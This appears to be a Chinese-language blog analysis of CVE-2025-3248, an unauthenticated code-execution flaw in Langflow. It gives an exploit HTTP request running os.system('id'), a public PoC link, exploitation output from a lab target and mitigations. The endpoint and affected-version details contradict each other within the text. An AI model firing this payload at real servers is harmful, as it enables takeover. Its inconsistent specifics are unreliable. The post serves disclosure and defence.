CVE-2025-3248 – Langflow 未授权远程代码执行漏洞分析

本文详细分析了CVE-2025-3248漏洞,这是一个存在于Langflow低代码框架中的严重未授权远程代码执行漏洞。攻击者可通过未经验证的exec()函数执行任意Python代码,完全控制系统。文章包含技术细节、利用步骤和修复建议。

CVE-2025-3248 – Langflow 未授权远程代码执行漏洞分析

概述

CVE-2025-3248 是 Langflow 中的一个严重未授权远程代码执行(RCE)漏洞。Langflow 是一个流行的低代码框架,用于构建大型语言模型(LLM)应用。该漏洞源于不安全地使用 Python 内置的 exec() 函数来评估用户提供的输入,且未进行任何清理。这使得攻击者能够在服务器上执行任意 Python 代码,从而完全控制系统。

  • CVE ID: CVE-2025-3248
  • 严重性: 严重
  • CVSS 分数: 9.8
  • EPSS 分数: 92.57%
  • 发布日期: 2025年5月22日
  • 受影响版本: ≤ v1.3.0
  • 修复版本: v1.3.0+

技术分析

Langflow 暴露了一个 /api/v1/builder/execute_code 端点,该端点接收用户提供的 Python 代码,并直接在后端传递给 exec() 函数。由于没有身份验证或沙箱机制,攻击者可以构造任意负载以执行代码。

1
2
3
4
5
6
POST /api/v1/builder/execute_code
Content-Type: application/json

{
  "code": "import os; os.system('id')"
}

漏洞代码片段

没有沙箱,没有 ast.literal_eval,没有子进程控制——只是直接未清理地执行攻击者输入。

1
2
# langflow/api/builder/execute.py
exec(code)  # 无输入验证或沙箱

利用条件

  • Langflow 实例可通过网络访问
  • 漏洞端点无需身份验证
  • 版本 ≤ 1.3.0

利用步骤

一个可用的公开 PoC 可在以下地址获取:https://github.com/xuemian168/CVE-2025-3248.git

要利用易受攻击的 Langflow 实例,请克隆该仓库并针对目标执行提供的脚本。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
┌──(kali㉿kali)-[~]
└─$ python main.py -t http://172.17.0.2:7860/
╔══════════════════════════════════════════════════════════════════════════════╗
║                    Langflow Vulnerability Scanner                            ║
║                CVE-2025-3248 Detection & Exploitation                        ║
╚══════════════════════════════════════════════════════════════════════════════╝

[*] Testing endpoint: http://172.17.0.2:7860/api/v1/validate/code
[+] Target appears to be vulnerable!
[+] Executing command: id
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)

成功利用后,命令将在服务器端以 langflow 进程的权限执行。

缓解措施

  • 升级到 Langflow v1.3.0 或更高版本
  • 通过防火墙或反向代理限制对漏洞端点的访问
  • 移除或替换 exec() 的使用,采用更安全的替代方案
  • 对所有 API 端点要求身份验证
  • 实施运行时应用保护和出口限制

参考

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计